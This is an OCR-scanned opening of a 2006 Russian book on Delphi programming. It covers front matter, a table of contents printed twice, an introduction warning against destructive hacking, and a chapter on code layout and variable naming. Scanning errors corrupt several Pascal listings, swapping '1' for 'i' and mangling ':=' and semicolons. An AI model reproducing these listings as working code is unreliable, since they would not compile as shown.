Текст
                    Delphi в шутку
и всерьез
ЧТО УМЕЮТ ХАКЕРЫ
прилагается
МихаилФпёнов
ПИТЕР

МихаилФлеков Delphi в шутку и всерьез ЧТО УМЕЮТ ХАКЕРЫ С^ППТЕР Москва • Санкт-Петербург • Нижний Новгород Воронеж Новосибирск Ростов-на-Дону • Екатеринбург Самара Киев • Харьков - Минск 2006
ББК 32.973-018.1 УДК 681.3.06 Ф71 Флёнов М. Е. Ф71 Delphi в шутку и всерьез: что умеют хакеры (+CD). — СПб.: Питер 2006 — 271 с.: ил. ISBN 5-469-00570-4 Книга о профессиональных приемах программирования в Delphi. В легкой и доступной форме с использованием большого количества оригинальных примеров рассмотрены вопросы корректно- го написания кода, оптимизации программ, работы с системным окружением, создания сетевых при- ложений. Исходный код рассматриваемых примеров программ вынесен на прилагаемый к книге компакт-диск. Книга предназначена в первую очередь для начинающих программистов с неболь- шим опытом программирования, но будет полезна и профессионалам. ББК 32.973-018.1 УДК 681.3.06 Все права защищены. Никакая часть данной книги не может быть воспроизведена в какой бы то ни было форме без письменного разрешения владельцев авторских прав. Информация, содержащаяся в данной книге, получена из источников рассматриваемых издательством как надежные Тем не менее, имея в виду возможные человеческие или технические ошибки издательство не может гарантировать абсолютную точность и полноту приводимых сведений и не несет ответственности за возможные ошибки, связанные с использованием книги ISBN 5-469-00570-4 © ЗАО Издательский дом «Питер», 2006
Краткое содержание Введение...............................................................10 Глава 1. Правильный код..............................................15 Глава 2. Оптимизация.................................................45 Глава 3. Шуточки....................................................103 Глава 4. Сетевые приложения.........................................139 Глава 5. Сетевая практика...........................................193 Заключение.............................................................269
Содержание Введение.............................................................10 Об этой книге........................................................12 Благодарности........................................................13 От издательства......................................................14 Глава 1. Правильный код..............................................15 1.1. Правильное оформление кода..................................16 1.2. Структурирование кода.......................................16 1.3. Именование..................................................21 1.4. Базы данных.................................................25 1.5. Правильный интерфейс........................................25 1.6. Качество кода...............................................31 1.6.1. Входные параметры.....................................32 1.6.2. Проверка доступности ресурсов.........................34 1.6.3. Освобождайте ресурсы..................................35 1.6.4. Обработка ошибок......................................37 1.7. Используемые технологии.....................................39 1.8. Ненужные компоненты.........................................41 1.8.1. Когда нужно создавать свои компоненты.................42 1.8.2. Взлом компонентов.....................................42 Глава 2. Оптимизация.................................................45 2.1. Когда оптимизировать код....................................46 2.2. Знания о системе.............................,..............46 2.3. Загрузка программы..........................................47 2.4. Инициализация...............................................49 2.5. Слабые места................................................55 2.6. Оптимизация циклов..........................................56 2.7. Процедуры и функции.........................................58 2.8. Сложные расчеты.............................................60
Содержание 7 2.9. Лишние прорисовки экрана.....................................61 2.10. Буферизация вывода...........................................62 2.11. Многопоточность..............................................65 2.12. Оптимизация в базах данных...................................67 2.12.1. Оптимизация запросов...................................67 2.12.2. Оптимизация СУБД.......................................71 2.12.3. Изучайте систему.......................................71 2.13. Программирование без VCL.....................................72 2.13.1. Уменьшение размера программы с помощью Win API.........73 2.13.2. Пример приложения с использованием Win API.............77 2.13.3. Обработка сообщений в Win API..........................82 2.14. Оптимизация с помощью ассемблера.............................83 2.14.1. Встроенный ассемблер...................................84 2.14.2. Внешний ассемблер......................................85 2.15. Сокращение цепочек...........................................88 2.15.1. Разрыв цепочек.........................................91 2.16. Ускорение математических вычислений..........................91 2.17. Необходимая достаточность....................................93 2.18. Эффективное использование ресурсов...........................95 2.19. KOL+MCK......................................................96 Глава 3. Шуточки.......................................................103 3.1. «Злое» окно...................................................ЮЗ 3.2. Закрыть чужое окно...........................................105 3.3. Шутки над буфером обмена ...................................106 3.4. Кавардак на Рабочем столе...................................110 3.5. Сервисы......................................................111 3.5.1. Свойства объекта TService.............................112 3.5.2. События объекта TService..............................115 3.5.3. Запуск и остановка сервиса............................116 3.6. Вскрываем The ВАТ...........................................116 3.7. Ошибка службы сообщений.....................................119 3.8. Управление свойствами окон..................................121 3.9. Рабочий стол................................................125 3.10. Панель задач................................................128 3.11. Шутки над мышью.............................................132 3.12. Блокировка окон.............................................136 Глава 4- Сетевые приложения............................................139 4.1. Основы WinSock..............................................140 4.2. Обработка сетевых ошибок....................................141 4.3. Загрузка и выгрузка сетевой библиотеки.................143 4.4. Инициализация сети..........................................145 4.5. Функции сервера..............................................147 4.6. Функции клиента.............................................151 4.7. Функции приема и передачи данных...................155 4.8. Завершение соединения.......................................162 4.9. Принцип работы протоколов без установки соединения..........163
8 Содержание 4.10. Создание ТСР-сервера..............................................166 4.10.1. Создание сервера............................................166 4.10.2. Получение и передача сетевых данных.........................171 4.10.3. Тестирование сервера........................................173 4.11. Создание ТСР-клиента..............................................174 4.12. Пример использования UDP-протокола................................176 4.13. Сокеты в неблокирующем режиме.....................................179 4.13.1. Проверка готовности сокета через функцию select ............180 4.13.2. Пример использования функции select.........................181 4.13.3. События Windows.............................................184 4.13.4. Когда и что использовать?...................................188 4.14. Опции сокета................Т.....................................189 4.15. Заключение........................................................191 Глава 5- Сетевая практика...................................................193 5.1. Сетевой экран.....................................................193 5.1.1. Функции фильтрации пакетов..................................195 5.1.2. Пример использования фильтрации.............................198 5.2. SMTP-клиент на WinSock API........................................202 5.2.1. Описание RFC-821............................................202 5.2.2. Реализация SMTP-клиента.....................................206 5.2.3. Передача больших строк................................................................ 211 5.3. Отправка файлов по почте..........................................211 5.4. РОРЗ-клиент на Win API............................................216 5.5. Создание Proxy-сервера............................................221 5.6. HTTP-клиент.......................................................231 5.7. Широковещание.....................................................234 5.8. Открытые папки....................................................235 5.8.1. Как загрузить нужную библиотеку.............................241 5.8.2. Как открыть доступ к папке..................................242 5.8.3. Перечисление общих ресурсов.................................248 5.8.4. Закрытие общих ресурсов.....................................251 5.9. Мониторинг сетевой активности.....................................253 5.9.1. Просмотр подключений........................................253 5.9.2. Преобразование времени......................................259 5.9.3. Закрытие сессий.............................................261 5.9.4. Просмотр открытых ресурсов..................................262 5.9.5. Закрытие открытых ресурсов..................................267 Заключение..................................................................269
8 Содержание 4.10. Создание ТСР-сервера..............................................166 4.10.1. Создание сервера............................................166 4.10.2. Получение и передача сетевых данных.........................171 4.10.3. Тестирование сервера........................................173 4.11. Создание ТСР-клиента..............................................174 4.12. Пример использования UDP-протокола................................176 4.13. Сокеты в неблокирующем режиме.....................................179 4.13.1. Проверка готовности сокета через функцию select ............180 4.13.2. Пример использования функции select.........................181 4.13.3. События Windows.............................................184 4.13.4. Когда и что использовать?...................................188 4.14. Опции сокета................Т.....................................189 4.15. Заключение........................................................191 Глава 5- Сетевая практика...................................................193 5.1. Сетевой экран.....................................................193 5.1.1. Функции фильтрации пакетов..................................195 5.1.2. Пример использования фильтрации.............................198 5.2. SMTP-клиент на WinSock API........................................202 5.2.1. Описание RFC-821............................................202 5.2.2. Реализация SMTP-клиента.....................................206 5.2.3. Передача больших строк................................................................ 211 5.3. Отправка файлов по почте..........................................211 5.4. РОРЗ-клиент на Win API............................................216 5.5. Создание Proxy-сервера............................................221 5.6. HTTP-клиент.......................................................231 5.7. Широковещание.....................................................234 5.8. Открытые папки....................................................235 5.8.1. Как загрузить нужную библиотеку.............................241 5.8.2. Как открыть доступ к папке..................................242 5.8.3. Перечисление общих ресурсов.................................248 5.8.4. Закрытие общих ресурсов.....................................251 5.9. Мониторинг сетевой активности.....................................253 5.9.1. Просмотр подключений........................................253 5.9.2. Преобразование времени......................................259 5.9.3. Закрытие сессий.............................................261 5.9.4. Просмотр открытых ресурсов..................................262 5.9.5. Закрытие открытых ресурсов..................................267 Заключение..................................................................269
Книга посвящается всем моим родным, друзьям, команде журнала «Хакер» и команде «VR-Теат»
Введение Кто такие хакеры? Несколько определений. 1. Человек, который любит исследовать и «вытягивать» максимум возможнос- тей программируемых систем, в отличие от большинства пользователей, не лезущих глубже необходимого минимума. 2. Тот, кто испытывает интеллектуальное наслаждение от творческого преодо- ления или обхода ограничений. 3. Злоумышленник, который пытается обнаружить необходимую информацию (к примеру, пароль) или создать зловредный вирус, чтобы влезть в чужие про- граммы и их испортить (причем, возможно, без всякой цели, просто ради са- моутверждения). Будем придерживаться того, что хакеры — профессионалы в компьютерной сфе- ре, которых многие считают лучшими специалистами. Термин «хакер» считается почетным, как знак высокой квалификации. Хакер — тот, кого увлекает процесс решения всевозможных проблем и «оттачивания» ма- стерства. Шуточное объявление «Требуется квалифицированный хакер. Резюме оставлять на сайте Microsoft, сот» содержит большую долю правды: квалифицированный хакер — находка для любой фирмы, связанной с разработкой программного обес- печения, конечно, если его знания и умения будут использоваться на пользу, а не во вред. Человек всегда работает в условиях конкуренции, а так как наше время уже дав- но называют эпохой информации, то основная конкурентная борьба происхо- дит именно в этой сфере. Доход приносят нам наши знания и умения, и если бы все владели ими в равной степени, то человеческий труд перестал бы цениться. Работодатели готовы платить больше именно тем, кто больше знает. Если вы досконально знаете свою область и умеете применять знания на практике, то это оцепят.
Введение 11 Хакерами называют и тех, кто пишет программы-вирусы или «взламывает» чу- жие программы. Я никогда не был сторонником разрушительных действий, по- этому вирусы и другие разрушающие систему программы в этой книге рассма- триваться не будут. Конечно же, определенные знания, которые вы получите, могут быть применены со злым умыслом. Любой, даже самый безобидный предмет может легко превра- титься в самое разрушительное оружие. Но прежде чем вы захотите сделать что- то подобное, я советовал бы хорошо подумать. Мы не раз будем рассматривать примеры, в которых на первый взгляд безобидные вещи превращаются в шутку, но, я надеюсь, что эти шутки не перерастут во что-то разрушительное. Сколько человек стало знаменито благодаря написанию вирусов? По-настояще- му популярность получил только Роберт Моррис, который в 1988 году написал и запустил в сеть вирус, поразивший громадное количество компьютеров. Все прекрасно понимают, что вирус был написан только для тренировки, а выпушен по неосторожности, но плохая репутация закрепилась за молодым человеком на всю жизнь. После таких действий сложно найти работу или даже просто смо- треть в глаза своим знакомым. Еще одной знаменитостью стал Кевин Митник, который взламывал системы из- за своего юношеского любопытства. И что теперь? Он не может найти себе хоро- шую работу и имеет запреты на использование компьютера. Для меня компью- тер — то, без чего жить невозможно, и трудно представить, как без него обходится Кевин. Можно привести еще пару примеров, но смысл будет один — хакер-разрушитель становится знаменитым уже после того, как его поймают и посадят: в противном случае не будет «шумихи», не будет той популярности, к которой он стремился Все разработчики вирусов становятся популярными лишь на то время, пока в га- зетах о них пишут, популярность эта недолгая, а регулярно напоминать о себе опасно: можно оказаться в местах, где компьютеров не бывает, а на окнах ре- шетки. Если делать только полезные и добрые дела, то стать известным сложнее, потому что надо работать намного больше. Но вы намного быстрее вырастете в глазах своих знакомых и коллег, и уважение не будет временным. Я никогда не занимался незаконными делами, ио однажды меня вызвали в одно очень серьезное учреждение. Я как добропорядочный гражданин явился, бояться мне было нечего, так как я знал, что никогда и ничего незаконного не совершал. Хотя мне известны многие хакерские приемы и я применял их на собственных тестовых системах, но в Интернете не пытался производить даже простой дефейс {deface — замена главной страницы сайта своей). В учреждении выяснилось, что на меня пришел запрос из Интерпола (одно только слово Интерпол может выз- вать ужас), а их обвинения были достаточно серьезными. К моему счастью, выяснилось, что в этом учреждении работали достаточно ком- петентные люди, простого общения с которыми было достаточно, чтобы доказать мою невиновность. Я же благодарил Бога, что действительно не совершил ничего дурного.
12 Введение Именно поэтому разрушительные стороны мы обойдем стороной. Зато в данной книге будут рассматриваться секреты программирования Об этой книге В книге, которую вы держите, будут рассматриваться различные приемы и при- меры программирования на языке Delphi. Эта информация поможет вам понять процессы, происходящие в операционной системе во время выполнения програм- мы, позволит писать более эффективный код для ваших собственных проектов. Вот какие темы нам предстоит разобрать: • Корректное написание кода. Здесь мы затронем правильное оформление кода, именование переменных, объектов и т. д. Вы увидите, что хорошо оформлен- ный код в дальнейшем может сэкономить много времени и сил на этапах те- стирования и поддержки. • Оптимизация. Обсудим такие вопросы, как создание «быстрого» кода или оп- тимизация уже существующего. Оптимизацией занимаются не только созда- тели игр, но и разработчики офисных приложений. • Шуточные программы. В этой части нас ждут интересные алгоритмы шуточ- ных программ, работа с системным окружением и многое другое. • Программирование сетевых приложений. Эту часть мы рассмотрим подробно, потому что, судя по письмам, которые я получаю от читателей моих предыду- щих книг, сейчас ощущается нехватка литературы по этой теме Особенно это касается языка Delphi. Все это я постараюсь преподнести в легкой и доступной форме, чтобы любую тему смогло понять наибольшее число читателей. Так как начальная подготовка и зна- ния Delphi могут быть разными, я буду подробнейшим образом рассматривать каждую отдельную тему. Но, несмотря на максимальную детализацию описания, я постараюсь избегать от- ступлений, которые отвлекают от изучаемого материала,— мы будем останавли- ваться только на том, что действительно помогает в работе. Если вы уже знакомы с моими книгами по Delphi, то вам будет несложно понять излагаемый материал. Я не использую сложные термины, особенно иностранные слова, для которых легко можно найти аналоги в русском языке. Вы также должны знать, что некоторые используемые мною термины могут отли- чаться от тех, которые применяются в другой литературе. Я использую материал из первоисточников, из документации, которую перевожу с английского, поэтому интерпретация некоторых терминов может отличаться от общепринятой. Иногда переводчики вместо поиска понятного нам русского термина просто пишут анг- лийские слова русскими буквами. Со временем такие слова закрепляются за ка- ким-то термином и иногда даже входят в русский язык. Так произошло со словом Internet. Переводчики не стали переводить его, хотя есть вполне подходящий перевод — всемирная сеть. Может быть, этот перевод
Благодарности 13 оказался слишком длинным, а кто-то посчитал его некрасивым, но слово Интер- нет уже вошло в русский язык. Основная цель данной книги — показать вам интересные приемы программиро- вания, нестандартные подходы, оптимизацию кода программ, «внутренности» сетевых приложений. Я постарался собрать знания из своего многолетнего опыта и показать самое интересное, что может пригодиться при написании простых про- грамм, больших проектов, «шуток» или сетевых приложений. Книга, хотя напря- мую и не связана, но все же может считаться продолжением моей книги «Про- граммирование в Delphi глазами хакера». Если вы ее не читали, то рекомендую это сделать. Для тех, кто только начинает знакомиться с программированием, могу посовето- вать мою книгу «Библия Delphi». В ней описывается этот язык программирова- ния, начиная с самых основ и вплоть до создания реальных приложений. Я подразумеваю, что вы уже знакомы с языком программирования Delphi и его сре- дой разработки, надеюсь, что у вас уже есть хотя бы небол ьшой опыт программиро- вания, иначе некоторые части могут показаться вам сложными и непонятными. В самом начале будет приведено немного теоретических сведений, после чего при- ступим к практике. Будет рассмотрено большое количество алгоритмов и приме- ров программ, на которых многое понять гораздо проще, чем в теории. Исходя из этого, постараюсь показать на примерах все, что только возможно. Благодарности Это уже четвертая моя книга, и в каждой из них я стараюсь поблагодарить тех, кто помогал мне в ее создании. Как всегда хочу вынести особую благодарность родителям, жене и детям за поддержку и помощь, за то, что терпели долгое время мои исчезновения за компьютером, освобождали от домашних обязанностей для того, чтобы я мог больше времени уделить работе. Хочу поблагодарить всех тех, кто помогал мне создавать сайт vr-online.ru. С их помощью он стал красивым, удобным и быстро наполняется полезной инфор- мацией. Выражаю признательность Минченкову Юрию за то, что давал «пищу» для раз- мышлений. Он искал способы, чтобы подшутить надо мной, а мне приходилось находить свои способы ему ответить. Благодаря этому у меня родилось множе- ство интересных шуточных проектов. Некоторые из них были опробованы имен- но на нем. Иногда между мной и Юрой начиналась самая настоящая война в изо- бретении новых способов подшутить над ближним с помощью компьютера. Большая благодарность редактору. Я технический специалист, хорошо умею пи- сать программы, но излагаю свою мысль тяжело. На долю редактора выпал тя- желый труд по превращению моего нелитературного языка во что-то удобочи- таемое. Особая благодарность коту по кличке Партизан, но которому больше бы подошла кличка Хакер в самом худшем смысле этого слова. Партизан-хакер перегрыз про-
14 Введение вод мыши, сетевой кабель, чуть не порвал телефонный. Но этого ему показалось мало, и он разбил раковину, разодрал диван и кресло, свел огромное количество пипеток и детских сосок. Тем не менее его энтузиазм и энергия, так необходимые для серьезной работы, передавались автору этой книги. От издательства Ваши замечания, предложения и вопросы отправляйте по адресу электронной почты comp@piter.com (издательство «Питер», компьютерная редакция). Мы будем рады узнать ваше мнение! Подробную информацию о наших книгах вы найдете на веб-сайте издательства http://www.piter.com.
Глава 1 Правильный код Прежде чем начинать писать какие-то программы, нужно научиться правильно оформлять код, названия объектов, переменных и др. Если для маленьких проек- тов можно отступить от определенных правил и писать как душе угодно, то при создании больших проектов я всегда следую определенным правилам. И все же рекомендую даже маленькие проекты оформлять согласно выработанным вами правилам. Очень часто маленькие утилиты превращаются в большие проекты, когда нужно объединить несколько схожих задач. Наглядное представление кода пригодится при тестировании, отладке, сопровож- дении и исправлении программы. Оптимизация делает программу более эффективной. Кто-то считает, что компь- ютеры стали настолько быстрыми, что оптимизация уже не нужна. Но это заб- луждение. Если вы работаете над маленьким проектом, то, опять же, можно зак- рыть глаза на все, но в большом проекте со сложными вычислениями оптимизация необходима. Представьте себе, что производители компьютерных игр тоже считают оптимиза- цию излишней. Да, компьютеры стали мощными и можно расслабиться. В этом слу- чае мы бы до сих пор играли в спрайтовых мирах из 2D-изображений и никогда бы не увидели полноценного ЗБ-мира с приближенными к реальному освещением и те- нями. Благодаря хорошей оптимизации игровые миры стали более детализированными и приближенными к реальному. В некоторых шедеврах мы можем рассмотреть детали персонажей. Играть в такие игры намного интереснее и хочется проходить весь сценарий снова и снова.
16 Глава 1. Правильный код 1.1. Правильное оформление кода Еще когда я начинал изучать программирование, я выработал определенные пра- вила, по которым должен оформляться код, и следую им на протяжении 10 лет. За это время они немного видоизменились, но основные принципы остались теми же Не могу утверждать, что мои правила самые лучшие и все должны следовать толь- ко им. Вы можете оформлять код программы по-своему либо воспользоваться примером моего оформления. В любом случае, эта часть будет полезна, чтобы потом было легче понимать мой код и использовать его. Когда вы работаете в команде и какую-то программу создает сразу несколько про- граммистов, то все должны придерживаться единых правил. Очень часто бывает, что какой-то «кусок» кода пишет один программист, а занимается отладкой дру- гой. В этом случае могут возникнуть большие проблемы. А представьте, что про- изойдет, если разработчик, который написал больше половины кода проекта, уво- лится.... В этом случае проще написать заново, чем пытаться понять прежний код. Я с такими ситуациями встречался, и не один раз. 1.2. Структурирование кода Самое первое, к чему я себя приучил, — писать структурированный код. Давайте посмотрим на пример кода (листинг 1.1). В нем представлен неструктурирован- ный код, который записан сплошным текстом без выравнивания. Попробуйте те- перь понять, что здесь происходит. Разобраться нелегко. Листинг 1.1. Неструктурированный код procedure TForml.ButtonlClick(Sender: TObject); const tt=12; var 1:Integer; b:Boolean; begin i:=1212*12; if i>10000 then begin b:=true; i:=1212*2; if i<12 then b:=false; end else b:=false; end; Теперь посмотрите на новый код (листинг 1.2), где все оформлено по правилам. Листинг 1.2. Структурированный код procedure TForml.ButtonlClick(Sender: TObject); const tt = 12;
1.2. Структурирование кода 17 var i: Integer; b: Boolean; begin 1 : = 1212*12; if 1 > 10000 then begin b := true; i ;= 1212*2; if i < 12 then b ;= false; end else b ;= false; end; Текст стал более красивым и понятным. Давайте разберем, что именно подверг- лось форматированию. После ключевых слов нет кода. Так, после слов const и var объявления перенесены на следующую строку. Стоит придерживаться этого правила при оформлении кода. В разделе var и const каждый тип переменных объявляется в своей строке. Когда там будет много элементов, вам легче будет найти необходимый. Если объявле- ний переменных несколько, то их можно оформлять следующим образом: Index . Integer; b. t Boolean; sum : Real; В этом примере названия типов расположены на одном уровне, и объявления выглядят более приятно. Но как нарушается вид кода, когда переменных одного типа слишком много: Index Integer: Name. Surname. Telephon. Address String; b. t Boolean; sum Real; Большие пустоты между именами переменных и типом выглядят уже не так кра- сиво. В подобных случаях имена переменных можно разбить на несколько строк следующим образом: Index Integer; Name. Surname. Telephon. Address String; b. t Boolean; sum Real; Разрывов меньше, но читабельность уже не та. Именно поэтому я редко распола- гаю имена типов переменных на одном уровне. Когда приходится разбираться с чужим или давно позабытым кодом, то на переменные обращают внимание в последний момент. Чаще всего можно прямо по коду или префиксу (если имена переменных называют правильно) понять их типы. Но об именовании мы погово- рим чуть позже.
18 Глава 1. Правильный код ---------------*---------------—, Помимо этого, весь код, относящийся к ключевому слову, пишется с отступом от края. Величину отступа вы должны выбрать сами. Некоторые ставят два-три про- бела или используют для отступа клавишу Tab, а я применяю только один пробел. Это связано с тем, что когда слишком много вложенности ключевых слов begin, if и других, то смещение вправо получается слишком большим и неудобным, пото- му что часть скрывается за правой кромкой окна. В этом случае постоянно прихо- дится перемещать прокрутку вправо-влево, чтобы увидеть код, не попавший в пре- делы окна. После ключевого слова begi п и до соответствующего end весь код сдвинут вправо на один пробел. Таким образом, вы легко можете увидеть, какой оператор end со- ответствует какому begin. ПосЛе ключевых операторов if, while и repeat код также пишется только на новой строке и со смещением. Не надо пытаться все уместить в одну строку. Результи- рующая программа от этого меньше не станет, а вот понять происходящее во вре- мя отладки будет тяжело. Как альтернатива моему методу оформления есть еще один, который вы можете увидеть в листинге 1.3. Листинг 1.3. Структурированный код procedure TForml.ButtonlClickCSender: TObject); const tt = 12; var i: Integer; b: Boolean; begin i := 1212*12; if i > 10000 then begin b := true; i := 1212*2; if 1 < 12 then b : = false; end else b ;= false; end; В данном случае для создания отступа используется клавиша Tab. Когда код не- большой, то это даже нагляднее, но если в одной строке содержатся различные записи (длинные названия переменных или несколько сравнений), то, как уже говорилось ранее, текст «убегает» за правый край экрана и невозможно увидеть всю строку полностью. Помимо этого, ключевое слово begin пишется в одной строке после операторов, таких как if, for, while и т. д. А ключевое слово end ставится на одном уровне с этим оператором begin. Такое оформление очень часто используется в языке про- граммирования Java, но у него есть одно отличие — после операторов if не всегда ставятся begin и end.
1.2. Структурирование кода 19 Операторы begin и end можно располагать и на одном уровне с if: if 1 > 10000 then begin b := true: i := 1212*2: if i < 12 then b := false: end Но, по-моему, смещение хотя бы на один пробел более наглядно. Даже не пытайтесь уместить все в одной строке. Просмотр кода по горизонтали отнимает время, и эти затраты абсолютно бесполезны. Например, если в функ- ции 10 параметров, то ее вызов можно написать так: Имя_Функции(Параметр1, Параметр2, ПараметрЗ. ...): Если записать все в одной строке, то вызов функции может не поместиться в ви- димую часть экрана, и для просмотра последних параметров придется использо- вать прокрутку. Не стесняйтесь вставлять в код пустые строки. Это не влияет на размер кода, по- этому количество пробелов и пустых строк только улучшит наглядность без воз- никновения побочных эффектов. Очень тяжело читать код, в котором все напи- сано сплошным текстом без единого пробела. Посмотрите на код, приведенный в листинге 1.4. Листинг 1.4. Структурированный код var i: Integer: j: Integer: begin // Начальные значения i := 0: j := 1: // Расчет i := 10*j+5: j := 20+i: // Вывод результата end: Код разбит пустыми строками на три части: инициализация, расчет и вывод ре- зультата. Перед каждой частью стоит комментарий, который служит для понимания тек- ста. Даже если какой-то код вы писали самостоятельно, через пару месяцев вспом-
20 Глава 1. Правильный код нить, что и для чего делалось, будет очень тяжело. Умение программировать по- стоянно совершенствуется, и уже через полгода, возможно, вы будете писать код по-другому, потому что найдете более удобный способ оформления или именова- ния переменных. Да и помнить все функции Windows API (application program- ming interface — программный интерфейс приложения) или VCL (Visual Compo- nent Library — визуальная библиотека компонентов) невозможно. Конечно же, при хорошем знании английского языка можно определить назначение по названию, но если вы называете свои функции Fund, Func2 и т. д., то такой код без коммента- риев прочитать будет невозможно. В любом случае комментарии на результирующий код не влияют, поэтому лиш- ними не будут. Если какая-то из моих процедур состоит более чем из 10 строк кода, то я обязательно ставлю комментарии. Это помогает читать код даже через длительные промежутки времени и быстрее находить ошибки. Подумайте о бу- дущем уже на этапе разработки программы. Пробелы, как и пустые строки или комментарии, не влияют на размер получае- мого в результате компиляции итогового файла, но повышают читабельность. По- смотрите на следующий код: Ра rami:=Ра raml+NetComonent.Count-Form.Width; Param2:=Form.Hei ght+Screen.Width/2*MAX_SELECT: He надо пытаться вникнуть в суть этого кода, потому что ее нет. Смысл в том, что читать такое очень сложно. Вроде бы все аккуратно написано, но не видно опера- торов. Каждую переменную и каждый знак нужно отделять пробелом: Paraml : = Paraml + NetComonent.Count - Form.Width; Param2 : = Form.Height + Screen.Width / 2 * MAX_SELECT; Согласитесь, что понять такие записи гораздо проще. Оформление кода — это дизайнерская работа. Дизайнер делает, например, сайт кра- сивым, чтобы с ним удобно было работать пользователю. Программист должен оформлять код программы таким образом, чтобы было удобно и приятно с ним ра- ботать. Одним из правил дизайнеров является наличие пустого пространства. Если на столе лежат только ручка и книга, то их сразу видно. Но если помимо этого ле- жат «груда» CD-дисков и прочих вещей, то найти ручку будет сложно. Пробелы и пустые строки создают в коде пустые пространства и отделяют элементы друг от друга, тем самым достигается лучшая видимость элементов. Если вам удобно работать за письменным столом, на котором все свалено и раз- бросано, то и код будет таким же. Но посчитайте, сколько времени вы тратите на поиск нужной вещи на неприбранном столе. После этого точно неизбежна убор- ка. Код приводить в порядок сложнее, поэтому лучше не создавать программист- ского «бардака» и «мусора». Вы должны писать красивый исходный код, и это действительно влияет на его качество. Когда я начинаю разбираться с чужим кодом (на работе это приходится делать очень часто), то первым делом вручную переформатирую код. Во время формати- рования очень легко усваивается то, что хотел сказать программист до моего вме- шательства. Если все оформлено по моим правилам, то читать его легко и на по- нимание кода уходит намного меньше времени.
1.3. Именование 21 Наибольшую сложность вызывают модули, которые оформлены разными стиля- ми. Приходится постоянно перестраиваться, поэтому нужно или полностью все переформатировать, или писать в том же стиле, чтобы не запутать ситуацию еще больше. Недавно была украдена большая часть исходных кодов ОС Windows, и мне уда- лось увидеть некоторые части. То, что я видел, оформлено по одним и тем же за- конам, что позволяет любому программисту быстро включиться в работу. Я даже слышал, что за неправильное оформление программисты получают финансовые штрафы Я думаю, что это не щутка, потому что даже на российских предприяти- ях действуют подобные правила при разработке больших программ, в написании которых участвует несколько человек. Это правильное решение, и оно дисципли- нирует программистов писать код правильно. Мне удалось поработать в нескольких компаниях, и я видел исходные коды боль- ших проектов некоторых российских фирм. Особенно мне понравилась органи- зация работы в одной из фирм. В исходных кодах, которые писали явно начинаю- щие программисты, было очень много ошибок и неоптимизированных участков. Несмотря на это, все имело структурированный вид (видимо, только очень ста- рые части оформлены без правил, когда над программой работала пара человек). Благодаря четким правилам оформления над проектом успешно работает боль- шая команда программистов, и даже очень плохо написанный код можно легко отладить и заставить работать как надо. Кто-то может сказать, что фирма могла бы нанять несколько хороших програм- мистов и код был бы лучше без всякого оформления, но это ошибка. Во-первых, найти таких программистов тяжело и их заработная плата намного выше. А во- вторых, нельзя подвести всех «под одну гребенку». Два очень хороших програм- миста будут писать по-разному, потому что каждую задачу можно решить деся- тью способами. Поэтому четкие правила оформления необходимы в любом большом проекте, вне зависимости от квалификации работников. Представьте себе ситуацию, когда все производители памяти начали делать ли- нейки памяти разного размера и формы. Каждый бы делал это эффективно и кра- сиво, но в один и тот же разъем нельзя вставить разные линейки. Чтобы этого не было, придумали стандартизацию, когда основные участки все делают одинако- во. Стандартизация — это не пережиток прошлого, это будущее всего мира. Если каждый будет тянуть в свою сторону, то мы не сдвинемся с места и получим эф- фект «лебедя, рака и щуки». Я постарался показать вам разные методы оформления, а вы уже должны выбрать сами, что вам лучше подходит. Возможно, что это будет нечто другое, но главное, чтобы код был оформлен одинаково и его было удобно читать. 1.3. Именование Когда с программой работает несколько человек или код слишком большой, то структурирование кода — не единственное, чего надо придерживаться. Очень важ- но правильно именовать переменные. Уже давно общепринятым стандартом яв-
22 Глава 1. Правильный код ляется указание перед именем того, что указывает на тип переменной. Так, при программировании в Delphi принято все имена объектов начинать с буквы Т, а указатели с буквы Р. При именовании переменных желательно, чтобы в имени было указание на их тип. Что именно вы будете указывать, зависит от личных предпочтений. Я опять же приведу несколько примеров сокращений из своей практики, которые вы мо- жете увидеть в табл. 1.1. Если вы встретили какой-то тип. который неуказан в таб- лице, то можете придумать для него свое сокращение. Таблица 1.1. Сокращения для указания типов Тип Сокращение Целое число (integer) i Строка (string) S Массив (array) а Константа (const) Ct Запись (record) rd Дробное число (real) rl Дробное число с двойной точностью (double) dl Слово (word) wd Двойное слово (dword) dwd Помимо указания типа переменной нужно заложить в имя такое название, кото- рое бы отражало смысл ее предназначения. Ни в коем случае не объявляйте пере- менную из одной или двух бессмысленных букв, потому что уже через месяц, во время отладки вы не сможете понять, зачем нужна такая переменная и для чего вы ее использовали. В моих реальных программах (не учебных примерах) из одной буквы бывают только переменные с именем 1 или j, которые означают счетчики в циклах. Их назначение заранее предопределено, для других целей переменные с такими име- нами не используются. Теперь вы должны определиться с тем, как записывать названия переменных. Как мы уже разобрались, они должны состоять из двух частей: идентификатора, ука- зывающего тип, и смыслового названия. Допустим, что вам нужна строка для хра- нения имени файла. Так как это строка, то идентификатор будет иметь название s, а в качестве смыслового имени укажем Fil eName. Записать это можно по-разному, поэтому приведу несколько примеров: sFIleName : String: s_FileName : String: FileName_s : String: s-FileName : String; _s_FileName : String: В настоящее время я склоняюсь к использованию последнего варианта написа- ния, хотя в разных проектах можно увидеть любой из них. Почему именно послед- ний вариант? Потому что по знаку подчеркивания в начале можно сразу опреде- лить, что это переменная, а не имя метода, свойства, процедуры или объекта. Этот
1.3. Именование 23 способ я взял из такого языка программирования, как РНР, где имя переменной должно начинаться со специального знака $. Таким образом, имя переменной от- личается от имен процедур, функций и зарезервированных слов. Когда переменная создается для определенных действий, то можно называть ее как угодно. Например, для создания цикла for очень часто используют перемен- ную с именем 1: for i := 0 to 10 do В данном случае нет смысла выдумывать какое-то имя для переменной. Если вы встретили в коде переменную с именем 1 или j, то сразу можно понять, что это счетчик. Здесь уже действует правило: «краткость — сестра таланта». Когда нужно написать свою процедуру или функцию, то для имени можно задать отдельный префикс. Правда, я этого не делаю, потому что имена функций хоро- шо различимы и без дополнительных индикаторов. А вот имена для процедур нужно писать осмысленные. Тяжело понять в коде, для чего нужна процедура с и- менем Procl. Обязательно используйте такие имена, чтобы они отражали смысл выполняемых действий. При именовании компонентов на форме у меня также нет определенных законов. Некоторые предпочитают ставить префиксы, а некоторые просто оставляют зна- чение по умолчанию. Первое абсолютно не запрещается, главное, чтобы вам было удобно. А вот работать с компонентами, у которых имена Buttonl, Button2 и т. п., очень тяжело. Изменяйте имя сразу после создания компонента, иначе потом при- дется менять не только название, но и связанные части кода. Если назначения переменной, компонента или функции нельзя понять по назва- нию, то когда придет время отладки, вы будете тратить лишнее время на чтение кода. А ведь можно позаботиться об 